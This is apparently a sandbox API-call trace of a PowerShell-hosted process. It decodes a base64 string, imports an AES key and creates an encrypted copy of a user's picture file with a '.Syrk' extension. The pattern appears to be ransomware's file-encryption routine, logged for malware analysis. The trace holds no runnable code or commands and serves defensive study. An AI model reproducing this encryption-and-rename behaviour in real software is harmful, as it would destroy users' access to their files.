(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0244.967] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0244.967] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.967] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0244.967] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.967] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0244.967] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0244.967] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.967] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0244.967] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.968] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0244.968] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0244.968] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.968] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0244.968] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.968] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0244.968] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0244.968] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.968] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0244.968] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.968] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0244.968] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0244.968] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.969] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0244.969] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.969] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0244.969] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0244.969] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0244.969] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0244.969] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.970] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0244.970] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.970] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0244.970] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0244.970] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.970] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0244.970] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.970] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0244.970] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0244.970] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.970] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0244.970] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.970] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0244.970] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0244.970] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.971] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0244.971] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.971] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0244.971] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0244.971] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.971] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0244.971] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.971] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0244.971] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0244.971] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.971] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0244.971] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.972] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0244.972] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0244.972] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.972] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0244.972] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.972] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0244.972] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0244.972] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.972] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0244.972] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.972] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0244.973] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0244.973] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0244.973] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0244.973] SystemFunction041 (in: Memory=0x5c9b66c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b66c) returned 0x0 [0244.973] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0244.973] SystemFunction040 (in: Memory=0x5c9b66c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b66c) returned 0x0 [0244.973] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0244.973] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0244.973] SystemFunction041 (in: Memory=0x5c9b66c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b66c) returned 0x0 [0244.973] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0244.974] SystemFunction040 (in: Memory=0x5c9b66c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b66c) returned 0x0 [0244.974] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0244.974] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0244.974] SystemFunction041 (in: Memory=0x5c9b66c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b66c) returned 0x0 [0244.974] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0244.974] SystemFunction040 (in: Memory=0x5c9b66c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b66c) returned 0x0 [0244.974] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0244.974] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0244.974] SystemFunction041 (in: Memory=0x5c9b66c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b66c) returned 0x0 [0244.974] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0244.974] SystemFunction040 (in: Memory=0x5c9b66c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b66c) returned 0x0 [0244.974] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0244.975] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0244.975] SystemFunction041 (in: Memory=0x5c9b66c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b66c) returned 0x0 [0244.975] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0244.975] SystemFunction040 (in: Memory=0x5c9b66c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b66c) returned 0x0 [0244.975] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0244.975] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0244.975] SystemFunction041 (in: Memory=0x5c9b66c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b66c) returned 0x0 [0244.975] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0244.975] SystemFunction040 (in: Memory=0x5c9b66c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b66c) returned 0x0 [0244.975] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0244.975] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0244.975] SystemFunction041 (in: Memory=0x5c9b66c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b66c) returned 0x0 [0244.975] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0244.976] SystemFunction040 (in: Memory=0x5c9b66c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b66c) returned 0x0 [0244.976] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0244.976] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0244.976] SystemFunction041 (in: Memory=0x5c9b66c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b66c) returned 0x0 [0244.976] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0244.976] SystemFunction040 (in: Memory=0x5c9b66c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b66c) returned 0x0 [0244.976] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0244.976] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0244.976] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0244.977] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0244.977] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0244.977] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0244.977] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0244.977] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0244.977] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0244.977] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0244.977] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0244.977] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0244.978] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0244.978] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0244.978] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0244.978] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0244.978] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0244.978] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0244.978] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0244.978] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0244.978] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0244.978] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0244.979] EtwEventActivityIdControl () returned 0x0 [0244.979] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0244.979] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0244.979] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0244.979] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0244.982] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d298) returned 1 [0244.984] CryptImportKey (in: hProv=0x5c4d298, pbData=0x2539408*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c997a0) returned 1 [0244.984] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0244.985] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.985] EtwEventActivityIdControl () returned 0x0 [0244.985] EtwEventActivityIdControl () returned 0x0 [0244.985] EtwEventActivityIdControl () returned 0x0 [0244.993] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\-20cbzldzx_kxyz1k60.png")) returned 0x20 [0244.995] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\-20cbzldzx_kxyz1k60.png")) returned 0x20 [0244.995] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0244.995] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png", lpFilePart=0x0) returned 0x33 [0244.995] EtwEventActivityIdControl () returned 0x0 [0244.996] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.996] EtwEventActivityIdControl () returned 0x0 [0244.996] EtwEventActivityIdControl () returned 0x0 [0244.996] EtwEventActivityIdControl () returned 0x0 [0244.997] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0244.998] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png", lpFilePart=0x0) returned 0x33 [0244.998] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0244.998] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\-20cbzldzx_kxyz1k60.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0244.998] GetFileType (hFile=0x454) returned 0x1 [0244.998] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0244.998] GetFileType (hFile=0x454) returned 0x1 [0244.999] EtwEventActivityIdControl () returned 0x0 [0244.999] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.000] EtwEventActivityIdControl () returned 0x0 [0245.000] EtwEventActivityIdControl () returned 0x0 [0245.000] EtwEventActivityIdControl () returned 0x0 [0245.001] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0245.001] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png.Syrk", nBufferLength=0x39, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png.Syrk", lpFilePart=0x0) returned 0x38 [0245.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0245.001] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\-20cBzLDzX_KXyz1k60.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\-20cbzldzx_kxyz1k60.png.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d4 [0245.002] GetFileType (hFile=0x1d4) returned 0x1 [0245.002] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0245.003] GetFileType (hFile=0x1d4) returned 0x1 [0245.003] EtwEventActivityIdControl () returned 0x0 [0245.003] CryptGenRandom (in: hProv=0x5c4d298, dwLen=0x10, pbBuffer=0x2549d48 | out: pbBuffer=0x2549d48) returned 1 [0245.006] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0245.006] CryptDuplicateKey (in: hKey=0x5c997a0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c996a0) returned 1 [0245.006] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0245.006] CryptSetKeyParam (hKey=0x5c996a0, dwParam=0x4, pbData=0x254b074*=0x1, dwFlags=0x0) returned 1 [0245.006] CryptSetKeyParam (hKey=0x5c996a0, dwParam=0x1, pbData=0x254b040, dwFlags=0x0) returned 1 [0245.007] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.007] EtwEventActivityIdControl () returned 0x0 [0245.007] 